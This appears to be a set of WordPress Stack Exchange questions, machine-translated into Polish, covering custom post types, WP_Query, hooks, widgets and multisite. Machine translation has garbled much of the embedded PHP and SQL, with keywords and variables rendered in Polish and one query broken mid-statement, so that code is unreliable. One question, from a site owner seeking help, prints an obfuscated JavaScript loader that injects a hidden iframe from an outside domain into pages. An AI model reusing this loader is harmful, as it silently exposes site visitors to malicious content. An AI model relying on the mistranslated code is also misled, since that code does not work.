text: Tworzę niestandardowy typ posta, którego chcę użyć w formie wtyczki - wszystko całkiem proste. Jednak chcę, aby strona archiwum dla tego typu posta wyglądała nieco inaczej w obszarze zawartości — jak mam to osiągnąć bez konieczności proszenia użytkownika końcowego o przeniesienie plików do katalogu szablonów? Mam nadzieję, że ma to sens, jeśli nie, poproś mnie o dalsze wyjaśnienie - tak naprawdę nie udało mi się znaleźć niczego w kodeksie, ale może szukam w niewłaściwym miejscu.


title: Formularz logowania do interfejsu użytkownika nie działa w aktywnej witrynie

text: Używam przesyłania formularza front-end. Działa doskonale na lokalnym hoście, ale nie działa, gdy moja witryna jest aktywna. Pokazuje komunikat o powodzeniu, ale pierwotnie nie jest zalogowany. Oto mój kod: if ( 'POST' == $_SERVER['REQUEST_METHOD'] && !empty( $_POST['action'] ) && $_POST[ 'action'] == 'log-in' ): globalny $error; $login = wp_login( $_POST['nazwa-użytkownika'], $_POST['hasło'] ); $login = wp_signon( array( 'user_login' => $_POST['user-name'], 'user_password' => $_POST['password'], 'remember' => $_POST['remember-me'] ) , fałszywy ); if (!$error) { save_message( 'sukces', __( 'Zalogowałeś się pomyślnie', 'frontendprofile' ) ); unset($_POST); wp_redirect( get_permalink( 4 ) ); } // wp_redirect( home_url() ); endif; Więc co mogę zrobić, aby to naprawić?


title: Nie można połączyć „wartości wyszukiwania” i „zapytania_podatkowego” za pomocą WP_Query

text: To jest moja funkcja w pliku functions.php mojego szablonu. Problem polega na tym, że to działa: function ajax_search_action_do(){ global $wp_query; $wyszukiwanie = $_POST['wartość_wyszukiwania']; $kraj = $_POST['wartość_kraju']; $args = array( 's' => $search, 'posts_per_page' => 10, ); $wp_query = nowe WP_Query ($args ); get_template_part( 'wyniki-wyszukiwania' ); Wyjście; } Ale to nie jest: function ajax_search_action_do(){ global $wp_query; $wyszukiwanie = $_POST['wartość_wyszukiwania']; $kraj = $_POST['wartość_kraju']; $args = array( 's' => $search, 'posts_per_page' => 10, 'tax_query' => array( array( 'taxonomy' => 'country', 'field' => 'id', 'terms' => $kraj, ), ), ); $wp_query = nowe WP_Query ($args ); get_template_part( 'wyniki-wyszukiwania' ); Wyjście; } Tak więc, gdy jest sam wyszukiwany termin, to działa i otrzymuję właściwe wyniki. Ale kiedy próbuję połączyć to z wyszukiwanym terminem tax_query, nie działa i działa tylko tax_query. Jak sprawić, by oba warunki działały razem? Zbudowane zapytanie: `SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts INNER JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1 AND ( wp_term_posts.term_(.w_taxonomy_id (8)) %test%') LUB (wp_posts.post_content LIKE '%test%'))) ORAZ wp_posts.post_type IN ('post', 'page', 'attachment') AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'przyszłość' LUB wp_posts.post_status = 'szkic' LUB wp_posts.post_status = 'oczekujące' LUB wp_posts.post_author = 1 AND wp_posts.post_status = 'prywatne') GRUPA WG wp_posts.ID ZAMÓWIENIE WG wp_posts.posts. `


title: lista niestandardowych stron kategorii typu post

text: Zarejestrowałem niestandardowy typ postu "deals" i jego taksonomię "deals-category" strona site/deals/ uruchamia plik archive-deals.php, ale na stronie site/deals-category/travel/ uruchamia plik archive.php! Jak mogę zrobić site/deals-category/travel/ uruchamia archiwum-deals.php lub inny plik?


title: Ogranicz_fragment do maks. x znaków

text: **Co próbuję zrobić:** Chcę wyświetlić `wyciąg_odpis`, ale mam maksymalnie `x` znaków, których może użyć `wyciąg_wyciąg`, ale nie chcę wyświetlać kilku znaków słowo, tylko całe słowa. **Więcej informacji:** Ten kod znajduje się na stronie internetowej bez pojedynczego linku, takiej jak archiwa, kategorie, strona główna i wyszukiwania, co uniemożliwia mi użycie `<!-- more-->` . **Kod:** Oto kod, którego używam: add_filter( 'excerpt_length', function() { return 20; } ); if ( have_posts() ): while( have_posts() ): the_post(); wyciąg_( ); koniec; endif;


title: Jak zaktualizować dane serializowane w metadanych użytkownika

text: W mojej tabeli wp_usermeta mam pole o nazwie "wp_s2member_custom_fields" W nim jest przechowywana ta wartość: a:2:{s:6:"alumni";s:3:"Yes";s:19:"donations_collected";s: 2:"10";} Próbuję użyć: update_user_meta( $team_member_id, wp_s2member_custom_fields, $meta_value) Aby zaktualizować "donations_collected" z 10 na 11. Co powinienem umieścić w $meta_value?


title: Zapytanie o posty z określonej kategorii i wybranego tagu

text: Staram się mieć stronę (tag page) z następującymi warunkami: * zapytaj o posty z określonej kategorii (na przykład : produkty) * pokaż tylko posty z wybranym tagiem (tag jest zmienny) nie wszystkie posty z tej kategorii .


title: Ukryj widget dla niezalogowanych użytkowników bez wtyczki (functions.php)

text: Pracuję na stronie Woocommerce Wordpress. Chcę ukryć widżet w interfejsie dla niezalogowanych użytkowników. Widżet to "filtrowanie według ceny" od Woocommerce. Używam również "Opcji widoczności katalogu", ponieważ nie jestem w stanie pokazać cen niezalogowanym użytkownikom. Używam motywu płótna i motywu potomnego. Chcę użyć kodu do wstawienia w moim niestandardowym pliku functions.php. Nie chcę używać wtyczki. Próbowałem z tym kodem, ale nie jestem w stanie go dokończyć: // Ukryj widżet do funkcji niezalogowanego użytkownika hide_widget() { if ( is_user_logged_in() ) { } else { } } add_action( 'wp', 'hide_widget ' ); Czy ktoś może mi w tym pomóc? Dziękuję Ci bardzo!!


title: zmień kolejność hooków add_action, aby jquery było załadowane jako pierwsze

text: wtyczka slidera umieszcza swój javascript „tuż przed zamykającym tagiem body” za pomocą zaczepu add_action() w następujący sposób: chroniona funkcja statyczna addAction($action,$eventFunction){ add_action( $action, array(self::$t, $ funkcja zdarzenia) ); } - UniteBaseClassRev::addAction('wp_footer', 'putJavascript'); - funkcja publiczna putJavascript(){ $urlPlugin = UniteBaseClassRev::$url_plugin."rs-plugin/"; ?> <typ skryptu='text/javascript' src='<?php echo $urlPlugin?>js/jquery.themepunch.plugins.min.js?rev=<?php echo GlobalsRevSlider::SLIDER_REVISION; ?>'></script> <script type='text/javascript' src='<?php echo $urlPlugin?>js/jquery.themepunch.revolution.min.js?rev=<?php echo GlobalsRevSlider::SLIDER_REVISION ; ?>'></script> <?php } używany przeze mnie motyw używa również add_action() do wyrejestrowania wordpress jquery i użycia własnego: function FoundationPress_scripts() { // wyrejestrowanie wersji jquery dołączonej do wordpress wp_deregister_script( 'jquery' ); // umieść w kolejce modernizr, jquery i fundację wp_enqueue_script( 'modernizr', get_template_directory_uri() . '/js/modernizr/modernizr.min.js', array(), '1.0.0', false ); wp_enqueue_script( 'jquery', get_template_directory_uri() . '/js/jquery/jquery.min.js', array(), '1.0.0', true ); wp_enqueue_script( 'podstawa', get_template_directory_uri() . '/js/app.js', array('jquery'), '1.0.0', prawda ); } add_action( 'wp_enqueue_scripts', 'FoundationPress_scripts' ); teraz dzieje się tak, że skrypty suwakowe są ładowane przed załadowaniem jquery i dlatego nie działają: ![devtools](http://i.stack.imgur.com/r7sGq.png), więc moje pytanie brzmi, jak mogę zmienić kolejność uruchamiania hooków add_action(). każde inne rozwiązanie tego problemu jest w porządku.


title: Wordpress Audio w tle — ciągłe autoodtwarzanie

text: Jestem trochę nowicjuszem, ale znam trochę Wordpressa, aby kodować rzeczy w miejscu. Chciałbym wiedzieć, czy wiesz, jak stworzyć ciągły dźwięk w tle witryny, _w tym_ czas, w którym odwiedzający kliknie na różne strony, posty lub sekcje witryny. Próbowałem zakodować dźwięk, ale to nie rozwiązuje problemu, ponieważ po ponownym załadowaniu strony dźwięk zaczyna się od nowa, a ja tego nie chcę. Kodowanie , wtyczki ... cokolwiek robi praca. Wiem, że to nie jest w porządku dla gościa, ale proszę o wyrozumiałość. Dziękuję Ci.


title: Zmień szablon strony wp-signup.php

text: Używam anti-splog w sieci wielostanowiskowej z funkcją losowo zmieniającego się adresu URL rejestracji. Pod maską wskazuje na plik wp-signup.php. Utworzyłem plik zastępujący, którego domyślnie szuka wtyczka, który po prostu się odwraca, ładuje mój arkusz stylów, a następnie wywołuje oryginalny plik ust-wp-signup.php wtyczki: <?php /* Niestandardowa strona rejestracji w MySite */ /* * * Niestandardowy arkusz stylów MySite dla strony rejestracji. */ function MySite_signup_stylesheet() { wp_enqueue_style('custom-wpsignup', get_stylesheet_directory_uri() . '/css/wp-signup.css', false, '1.0', 'all'); } add_action( 'wp_head', 'MySite_signup_stylesheet' ); // Wywołaj domyślny program obsługi strony rejestracji require_once('plugins/anti-splog/includes/ust-wp-signup.php'); Potrzebuję sposobu, aby moja niestandardowa strona rejestracji wp używała szablonu strony z mojego motywu innego niż domyślny motyw strony głównej, ponieważ nie renderuje się poprawnie. Jakieś pomysły?


title: Programowo wyłącz pamięć podręczną WordPress na żądanie

text: Jak programowo wyłączyć funkcje WP Super Cache i W3 Total Cache? Na przykład nie chcę, aby używał pamięci podręcznej w przypadku niektórych żądań ani buforował danych wyjściowych żądania, czy obsługują to za pomocą filtrów? W ich dokumentacji nie mogłem znaleźć niczego przydatnego.


title: Błąd Apache z długimi zapytaniami z komentarzy spamowych

text: Moja firma hostingowa niedawno włączyła raportowanie błędów dla powolnych zapytań w php/apache i widzieliśmy, że dzienniki błędów są zalewane błędami z zapytań żądających komentarzy spamowych w interfejsie witryny. Używamy akismet do przechwytywania spamu, który działa dobrze. Wszystkie strony odsyłające pochodzą z postów na blogu i możesz zobaczyć przykład błędu poniżej (zmieniłem szczegóły dziennika dla bezpieczeństwa i anonimowości.) LONG QUERY (1199 znaków wygenerowanych w /nas/wp/www/cluster- 9999/INSTALL_NAME/wp-comments-post.php:134): SELECT comment_ID FROM wp_999_comments WHERE comment_post_ID = 233 AND comment_parent = '0' AND comment_approved != 'trash' AND ( comment_author = 'SpamAuthor' OR comment_author_email = 'spamEmail = 'spamEmail .com' ) AND comment_content = 'TUTAJ CAŁE SPAM' LIMIT 1, referer: http://www.example.com/2013/05/23/some_post/ Nie mogę zrozumieć dlaczego to zapytanie będzie działać w interfejsie witryny. Nie rozumiem, dlaczego WordPress miałby w ogóle pytać o komentarze dotyczące spamu. Próbowałem zmodyfikować zapytanie za pomocą poniższego filtra, ale w ogóle nie zadziałało. function prefix_comments_mod( $comments ) { $comments->query_vars['status'] = 'approve'; } add_filter( 'pre_get_comments', 'prefix_comments_mod' ); Czy ktoś widział tego rodzaju błąd przed / ma na to poprawkę? Mamy sieć wielostanowiskową z ponad 500 witrynami, więc te błędy są uruchamiane co kilka sekund, co spowalnia nasz serwer i sprawia, że nasze dzienniki błędów są całkowicie bezużyteczne.


title: Jeden z powodów zmiany GUID

text: Tworzę niestandardowe posty produktów z zewnętrznej subskrypcji danych, wypełniając niektóre niestandardowe pola i automatycznie wyświetlając specyfikacje produktów. Ponieważ tych produktów jest wiele, ręczny przegląd każdego z nich jest wykonywany po opublikowaniu niestandardowego postu. I właśnie w tym momencie chcę, aby moi czytelnicy zobaczyli w feedzie produkt z recenzją. Jedynym sposobem, jaki do tej pory znalazłem, jest zmodyfikowanie identyfikatora GUID posta po przeglądzie, aby pojawił się ponownie w kanale. Z drugiej strony w kodeksie możemy przeczytać **Nigdy, przenigdy nie zmieniaj zawartości kolumny GUID, w żadnych okolicznościach.** http://codex.wordpress.org/Changing_The_Site_URL#Important_GUID_Note Czy ta okoliczność jest właściwa dla modyfikowanie przewodnika, czy jest inny sposób ponownego wyświetlania tych opinii w źródle treści? Inną możliwością jest zmodyfikowanie zapytania, które kontroluje główny kanał wordpress, ale nie znalazłem na to sposobu, próbując postępować zgodnie z tymi wskazówkami Dodawanie postów typu niestandardowego do funkcji głównego kanału myfeed_request($qv) { if ( isset( $ qv['feed'] ) ) { $qv['post_type'] = array('post', 'samochody', 'rowery', 'ciężarówki'); //$qv['seccion'] = 'recenzje'; $qv['tax_query'] = array( 'relation' => 'LUB', array( 'taxonomy' => 'sekcja', 'field' => 'slug', 'terms' => array( 'recenzje' ) ), array( 'taxonomy' => 'post_format', 'field' => 'slug', 'terms' => array( 'post' ) ) ) } return $qv; } add_filter('request', 'myfeed_request'); Wielkie dzięki


title: wp-cron.php - limit czasu

text: Odkryłem za pomocą wtyczki Query Monitor, że podczas ładowania strony wystąpił błąd żądania HTTP. Spojrzałem na tabelę błędów i tutaj znalazłem ten problem: ![tutaj wprowadź opis obrazu](http://i.stack.imgur.com/UDKAR.png) FULL_IMAGE Jak mogę usunąć ten wp-cron praca, czy cokolwiek to jest?


title: Zawijaj adres URL wokół niestandardowej tablicy pól wyboru

text: Mam niestandardowe pole pól wyboru do wyboru „Obszaru wiedzy”, który został utworzony za pomocą WCK (WordPress Creation Kit, którego używam do tworzenia CPT i pól niestandardowych). Nie wiem, czy jest to najlepsza opcja, więc proszę, zasugeruj coś innego niż pola wyboru, jeśli tak nie jest. To, czego teraz używam do wyświetlania kodu (tylko pola wyboru), jest poniżej i działa dobrze, ale chcę też dodać unikalny adres URL do każdego pola w zależności od tego, co jest zaznaczone i właśnie tam jestem zakłopotany ... jest to nawet możliwe? <?php $pole_specjalizacji = get_cfc_field( 'obszary_specjalizacji','obszary-specjalizacji' ); foreach( $field_of_expertise as $key => $value) echo '<h6>' . $wartość . '</h6>'; ?> Zgaduję, że muszę wypisać każdą tablicę osobno, ale nie jestem do końca pewien, jak to zrobić... array { a[0] b[1] c[2] } A potem jakoś włączyć to do kodu powyżej, ale to wszystko przekracza mój obecny zestaw umiejętności. Każda pomoc jest mile widziana.


title: jak tworzyć lub przepisywać pliki w folderze wtyczek wordpress

text: rozwijam własną wtyczkę. w tym celu użyłem prostego pliku php do wygenerowania wizytówek kontaktowych w folderze wtyczek. do tego użyłem fopen i fwrite. ale plik nie jest tworzony w folderze wtyczek. to jest mój kod: function Vcard(){ $path =EMAIL_PLUGIN_URL.'/MyFile.txt'; $Uchwyt = (plik_istnieje($ścieżka))? fopen($ścieżka, "a+") : fopen($ścieżka, "w+"); $sql="wybierz wiersze z mojej bazy danych"; $rs =/* wynik tablicy db*/ while(do ostatniego wyniku) { $Data="BEGIN:VCARD"."\n"."WERSJA:2.1"."\n"; $Data.="N:".$row['email_name_sub'].';'."\n"."FN:".$row['email_name_sub']."\n"; $Data.="TEL;KOMÓRKA:".'+91'.$row['eemail_mobile_sub']."\n"."END:VCARD"."\n"; fwrite($Uchwyt, $Dane); } fclose($Uchwyt); $p="dane zapisane"; zwróć $p; } Jaki może być tego powód? także jak mogę pobrać tę wizytówkę w tym samym momencie po jej utworzeniu i napisaniu?


title: Mapowanie i przekierowywanie domen w wielu witrynach Wordpress

text: Chcę o to zapytać, chcę zrobić coś takiego, że kiedy wprowadzę adres URL subdomeny, taki jak **sub.domain.com**, strona powinna otworzyć się bez przekierowania na domenę mapowania, powiedzmy **sub.com ** , a kiedy próbuję otworzyć **sub.com**, powinna otworzyć tę samą witrynę bez żadnych przekierowań. Obecnie używam wtyczki do mapowania domen, która przekierowuje **sub.domain.com** do **sub.com** i otwiera stronę, jeśli wpiszę **sub.domain.com**. Próbowałem zmodyfikować plik .htaccess, aby zatrzymać przekierowanie, ale bez powodzenia. Pomóż mi w tym zakresie. Dziękuję


title: Skrócony kod osadzania Soundcloud nie działa

text: Wygląda na to, że krótki kod SoundCloud nie działa. Próbowałem przez kilka dni i po prostu pojawia się jako surowy kod. Czy to usterka, czy wsparcie zostało oficjalnie przerwane, czy istnieje jakieś obejście? [soundcloud url="https://api.soundcloud.com/tracks/151458437" params="color=ff5500&auto_play=false&hide_related=false&show_artwork=true&show_comments=true&show_user=true&show_reposts=false" width="iframe" height="166" ="true" /] https://soundcloud.com/radhanath-swami/offer-the-best-you-have Korzystanie z najnowszej wersji wordpress 3.9.1


title: Uzyskaj oryginalną ścieżkę systemu plików użytkownika przesłanego nośnika

text: Czy w wordpressie można pobrać oryginalną ścieżkę przesyłania multimediów? Na przykład użytkownik przesłany z **C:\pictures\wakacje2014\image1.jpg**. Chcę **tę** ścieżkę, a nie utworzoną ścieżkę po przesłaniu. Edycja: przeformułowano pytanie.


title: Zapisać dane z formularza kontaktowego 7 w pliku cookie?

text: Czy ktoś może rzucić nieco światła na to, jak zapisać dane CF7 w pliku cookie, najlepiej w pliku cookie jquery? Na przykład, jeśli chcę zapisać wartość „adres e-mail użytkownika” w pliku cookie, co mam zrobić? Dziękuję.


title: Jak wyłączyć lub ukryć WordPress.com jako opcję logowania do mediów społecznościowych dla komentarzy Jetpack

text: Szukam metody na ukrycie lub usunięcie WordPressa z opcji logowania w komentarzach Jetpack. Próbowałem dodać `a#postas-wordpress {display:none!ważne}` do style.css motywu, ale bez powodzenia. Oto zrzut ekranu domyślnego formularza komentarzy z włączonymi komentarzami Jetpack. ![Formularz komentarzy Wordpress Jetpack](http://i.stack.imgur.com/sEPvq.png) Dziękuję!


title: Załaduj następne posty ajax

text:
Używam poniższego kodu do wyświetlenia pierwszych 5 wyników.
 <?php globalny $post,$wpdb; $numer_poczty = 5; $kategoria1 = $kategoria; $dzisiaj = data('Y-m-d G:i:s'); if($kategoria) { $kategoria = "'".str_replace(",","','",$kategoria)."'"; $where .= "i p.ID in (wybierz tr.object_id z $wpdb->term_relationships tr dołącz $wpdb->term_taxonomy t na t.term_taxonomy_id=tr.term_taxonomy_id gdzie t.term_id in ($category)"); } $dzisiaj = data('Y-m-d G:i:s'); @$where .= " AND (p.ID w (wybierz $wpdb->postmeta.post_id z $wpdb->postmeta gdzie $wpdb->postmeta.meta_key='st_date' i date_format($wpdb->postmeta.meta_value, '%Y-%m-%d %G:%i:%s') >'".$dzisiaj."')) "; $sql = "wybierz p.* z $wpdb->posts p gdzie p.post_type='".CUSTOM_POST_TYPE1."' i p.post_status='publish' $where porządek według $orderby limit $post_number"; $latest_menus = $wpdb->get_results($sql); if($latest_menus) { foreach($latest_menus as $post) : setup_postdata($post); ?>

<a href="<?php the_permalink(); ?>"><?php the_title(); ?>
 <?php echo get_post_meta($post->ID,'address',true); ?>
 <?php endforeach; } else { echo "
".UPCOMING_NOT_FOUND_TEXT."
"; } ?>
 Chciałem wyświetlić następnych 5 wyników z ostatniego wyświetlonego wyniku powyższego kodu za pomocą ajax. Dodanie „Załaduj więcej” na końcu, jeśli jest więcej niż 5 wyników i dodaj „Nie więcej wyników”, jeśli jest tylko 5 wyników. Ponadto, gdy kliknę „Załaduj więcej” i nie ma więcej wyników do wyświetlenia, zamień „Załaduj więcej” na „Brak więcej wyników` Nie wiem, jak zrobić ajax z powyższym kodem, ponieważ nie jestem zaznajomiony z jquery. Proszę pomóż..


title: Jak dodać dodatkowe pole we wszystkich dostępnych widżetach WordPress?

text: Ciągle szukam, jak dodać dodatkowe pole do każdego dostępnego widżetu WordPress, coś takiego jak **_`Napisy`_** po **_`Tytule`_** widżetu. Czy istnieje sposób na podpięcie się pod każdy dostępny widżet?


title: Pokaż komunikat o błędzie po obsłużeniu wyjątku

text:
Mam wtyczkę, która aktualizuje profil użytkownika i chcę obsłużyć wyjątek daty i wyświetlić komunikat o błędzie, gdy się nie powiedzie, ale nie mogę tego zmusić. Oto część klasy: private function __construct() { add_action( 'edit_user_profile', array($this, "userAdminForm") ); add_action("personal_options_update", array($this, "updateCustomFields") ); add_action("edit_user_profile_update", array($this, "updateCustomFields") ); } public function userAdminForm($user) { require_once(ACMFR_PARTIALS."/form.editProfileAdmin.php"); } public function updateCustomFields($userID) { //rzeczy if ( isset($_POST["expirydate"]) ) { try { $date = new DateTime("FAIL"); //Zrób coś z datą } catch (wyjątek $wyjątek) { add_action('edit_user_profile', array ($this, 'date_error')); //add_action('admin_notices', array ($this, 'date_error')); } } //więcej rzeczy } public function date_error() { echo '

Błąd formatu daty

'; } Tak działa wtyczka: Kiedy admin wchodzi na stronę edycję profilu użytkownika (user-edit.php), wtyczka pokazuje część z kilkoma niestandardowymi polami. Po przesłaniu formularza wywoływana jest funkcja updateCustomFields, która aktualizuje pola. Jeśli pole daty ważności ma nieprawidłowy format, zgłaszany jest wyjątek i chcę pokazać błąd. Problem polega na tym, że komunikat o błędzie nigdy się nie pojawia.


title: Automatyczne publikowanie zdjęć na Instagramie

text: Chciałbym opublikować moje zdjęcia z Instagrama na moim blogu WordPress. Nie mogę jednak użyć jednej z wielu istniejących wtyczek Instagrama, ponieważ te wtyczki po prostu publikują zdjęcia na moim blogu, ale nadal są hostowane przez Instagram. Chciałbym, aby był to proces wsadowy, który faktycznie prześle zdjęcie z Instagrama do mojej biblioteki multimediów WordPress, a następnie je opublikuje. Podsumowując: Jak automatycznie _przesyłać i publikować_ zdjęcia z Instagrama na moim blogu WordPress (_nie_ za pomocą widżetu paska bocznego)?


title: Wtyczka jQuery tabs z funkcją zwrotną do pobierania danych

text:
Chcę użyć wtyczki tabs i załadować zawartość kart za pomocą `ajax`. Problem polega na tym, że wtyczka wymaga podania stałego pliku `.php` w `href` np.
Tab 3 (powoli)
 Wiesz, że to nie działa dobrze z WordPress. Oddzwonienie tutaj by zadziałało. Czy jest dostępny taki widelec lub jakakolwiek inna wtyczka?


title: Złośliwy skrypt jest dodawany do mojego znacznika. Pomoc?

text: Na mojej stronie dodawany jest poniższy skrypt: <iframe width="1" height="1" frameborder="0" src="http://hysofufewobe.com/k985ytv.htm"> Próbowałem wyszukać każdy plik w mój katalog instalacyjny WP dla „hysofufewobe”, ale nie uzyskał żadnych wyników, więc prawdopodobnie kod jest zaciemniany. Nie jestem pewien, czy problemem jest WordPress, czy mój host DreamHost. Skontaktowałem się z moim gospodarzem, pytając, czy zgłoszono jakiekolwiek zgłoszenia dotyczące podobnych problemów. Brak odpowiedzi. Pomyślałem, że w międzyczasie tu spytam. Czy ktoś wie, jakie kroki mogę podjąć, aby pozbyć się tego skryptu? Przy okazji zrobiłem tutaj kolejny wątek na ten temat, ale z jakiegoś powodu nie mam do niego dostępu. W razie potrzeby możesz go usunąć. -edit- Sprawdziłem /index.php i wp-admin/index.php i znalazłem dziwne znaki poniżej na samej górze przed `<?php`. mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m ='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob' ;v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat( mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul); bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn); Więc go usunąłem i wszystko wygląda na to, że wróciło do normy. Skrypt też nie jest dołączany do moich znaczników. Sceptycznie podchodzę do tego, czy po prostu wymazanie tych linii naprawiło cały problem, ale nie wiem, jak to sprawdzić. Jakieś pomysły?


title: Przeniesiono wp-content i masz problem z katalogiem motywów?

text: Przeniosłem katalog „wp-content” do nowego folderu zgodnie z przewodnikiem w Przenoszenie zawartości Wp. Mogłem bez problemu uzyskać dostęp do katalogu wtyczek, ponieważ użyłem wp_content_dir dodatkowo z WP_CONTENT_DIR'. Ale nie mogłem uzyskać dostępu do motywów i nie mogłem zainstalować nowych motywów za pomocą repozytorium motywów. define('WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] .'/blog/wp-content'); define( 'WP_CONTENT_URL', 'http://example/blog/wp-content'); define( 'WP_PLUGIN_DIR', $_SERVER['DOCUMENT_ROOT'] . '/blog/wp-content/plugins' ); define( 'WP_PLUGIN_URL', 'http://example/blog/wp-content/plugins'); Edytowano plik wp-config.php z tymi ograniczeniami. Czy ktoś ma pomysł na rozwiązanie problemu? Chodzi mi o to, jak uzyskać dostęp do motywów? Czy w przyszłości powinienem spodziewać się kłopotów z przenoszeniem zawartości wp? Dziękuję Ci!


title: Czy istnieje wtyczka, która umożliwia użytkownikom logowanie się za pomocą konta Google (nie jest to wtyczka do tworzenia witryn społecznościowych)?

text: W tej chwili używam dwóch wtyczek: jednej umożliwiającej logowanie się użytkownikom za pomocą konta na Twitterze i jednej do facebooka. Przeszukałem całą sieć, ale nie mogę znaleźć konta dla kont Google. Jakieś sugestie?


title: Dodaj mój własny przycisk obok „Opcje ekranu” i „Pomoc” w panelu administracyjnym

text: Chciałbym dodać własny link do przycisku obok tych dwóch. czy to możliwe? ![tutaj wprowadź opis obrazu](http://i.stack.imgur.com/YVA9E.png)


title: Pobierz plik z problemem wielostanowiskowym WP

text: Mam problem z Multisite, jak wszyscy wiemy, multisite z podkatalogami wygląda tak „www.example.com/site1” itp. Używam niestandardowego skryptu połączonego z fooboxem, który gdy ktoś kliknie „Pobierz obraz”, ładuje mój "example.com/get_file.php" w głównym katalogu serwera. Jednak ponieważ Foobox jest wtyczką obejmującą całą witrynę, ładuje skrypt i ma obecnie problemy z pobraniem adresu URL obrazu, ponieważ Multisite auto dodaje „/site1/” do adresu URL, a wszystkie moje pliki znajdują się w domenie bazowej, np. „ example.com/images” zamiast „example.com/wp- content/site1” itd. Jest to część skryptu do pobierania obrazów: $file = explode('example.com', $_SERVER['QUERY_STRING']) ; $plik = koniec($plik); $file = str_replace('//', '/', '/home/www/example.com/media/images/'.$file); $plik = rawurldecode($plik); if(file_exists($plik)) { header("Typ treści: $ctype"); header("Dyspozycja zawartości: załącznik; nazwa pliku=\"".basename($plik)."\";" ); header("Content-Transfer-Encoding: binarny"); header("Długość treści: ".filesize($plik)); readfile($plik); } else { echo "Plik $plik nie istnieje..."; }     Wyjście(); Szukam sposobu, aby po prostu pobrać nazwę obrazu i folder, w którym znajduje się obraz. np.: „example.com/media/images/NAZWA FOLDERU/NAZWA PLIKU.JPG i mój skrypt może zastąpić cały tekst przed folderem nazwa ścieżki do katalogu podstawowego.Edytuj: Więc po przeczytaniu o tym pytanie brzmi: „Jak mogę pobrać folder nadrzędny, w którym znajduje się plik, a także pobrać nazwę pliku” Edytuj: Właśnie tego wypróbowałem i nie jestem pewien, dlaczego nie działa `$file = str_replace('//', '/', '/home/www/example.net/media/images/' .dirname(__FILE__),'/' .basename($file)); ` Zasoby: http://stackoverflow.com/questions/8980244/how-to-get-just-the-name-of-the-parent-folder-in-the-directory-where-a-script-is http: //stackoverflow.com/questions/2601885/php-get-only-directory-path


title: Czy istnieje sposób na zmianę nazwy katalogu „motywy”?

text: Definiując TEMPLATEPATH, STYLESHEETPATH, WP_CONTENT_DIR i WP_CONTENT_URL wpływają jedynie na zmiany nazewnictwa w wp-content. Czy istnieje sposób na przedefiniowanie ścieżki motywu i ścieżki wtyczki, aby nowa ścieżka mogła być propagowana za pomocą wywołań funkcji, takich jak get_options lub bloginfo?


title: Uzyskaj liczbę postów bieżącej pętli podczas korzystania z wielu zapytań na jednej stronie

text: Próbuję uzyskać liczbę bieżących postów wewnątrz pętli. W moim motywie używam wielu pętli na jednej stronie. Do tej pory mam: $my_post_count = $wp_query->post_count; Ale kiedy drukuję $my_post_count, zwraca liczbę wszystkich postów na mojej stronie WP. Czy może to mieć coś wspólnego z używaniem wielu zapytań na jednej stronie? Próbowałem używać wp_reset_query po każdej pętli, aby upewnić się, że nie wyrzucam rzeczy w ten sposób. Co ja robię źle?


title: Usuń menu i podmenu

text: Znalazłem więc kilka przydatnych fragmentów, które pomogą usunąć elementy menu administratora. Mam jednak problem z pozycjami podmenu. Chcę zachować menu wyglądu, ale pozbyć się motywów, widżetów i edytora. function remove_menus() { global $menu; globalny $bieżący_użytkownik; get_currentuserinfo(); if($current_user->user_login == 'username') { $restricted = array(__('Wpisy'), __('Linki'), __('Komentarze'), __('Wtyczki'), __(' Użytkownicy'), __('Narzędzia'), __('Ustawienia') ); koniec ($menu); while (prev($menu)){ $wartość = rozbij(' ',$menu[klucz($menu)][0]); if(in_array($value[0] != NULL?$value[0]:"" , $restricted)) {unset($menu[key($menu)]);} }// end while }// end if } add_action('admin_menu', 'remove_menus'); function remove_submenus() { global $menu; globalny $bieżący_użytkownik; get_currentuserinfo(); if($current_user->user_login == 'nazwa użytkownika') { global $submenu; unset($submenu['themes.php'][10]); // usuń edytor motywów } } add_action('admin_menu', 'remove_menus');


title: Problem z „post__not_in”

text:
Uruchamiam niestandardowe zapytanie pod każdym postem, aby uzyskać inny post z jego kategorii. Teraz chcę wykluczyć aktualny post. To jest moje zapytanie: <?php // related_posts(); $exclude_post = $post->ID; $koty = pobierz_kategorię(); //$cats[0]->term_id;$cats[1]->term_id; //nazwa globalna $post; $newQuery = nowe WP_Query('posts_per_page=5&orderby=rand&cat='.$cats[0]->term_id.'&post__not_in='.array($exclude_post).''); if ( $newQuery->have_posts() ):?>
 <?php while ( $newQuery->have_posts() ) : $newQuery->the_post(); ?>
 <a title="<?php the_title();?>" href="<?php the_permalink();?>"><?php the_title();?>
 <?php endwhile;?>
 <?php endif; ?> Teraz moje zapytanie pokazuje 0 wyników. To samo, jeśli ustawię post, który będzie testowo wykluczony, na 1 lub tak. Jaki może być błąd w moim niestandardowym zapytaniu? Pozdrawiam Lars


title: Czy możemy stworzyć niestandardowy szablon postu dla konkretnego szablonu strony?

text: Pracuję w wordpressie po raz pierwszy, a klient wymagał, abyśmy stworzyli szablon, który będzie używany dla wielu produktów, jak pokazano poniżej ![tutaj wprowadź opis obrazu](http://i.stack.imgur.com/ lHOCm.jpg) Pytanie, które mam, czy można stworzyć szablon w sekcji admina wordpress, który miałby wiele niestandardowych postów (np. W przykładzie podanym powyżej) dla następujących elementów 1. Obraz bohatera 2. Tekst w hero image 3. CTA 4. Infografika 5. Naprzemienna zawartość Po skonfigurowaniu tych niestandardowych postów wszystkie te posty można połączyć w jeden szablon w zapleczu, który można ponownie wykorzystać. Przepraszam za naiwność pytania, ale pochodzę z tła, w którym pracowałem wcześniej w CMS-ach, gdzie można stworzyć szablon w interfejsie użytkownika, a także tworzyć szablony zaplecza, które mapują się na treść w interfejsie.


title: Różne wersje Wordpress między lokalną a produkcyjną

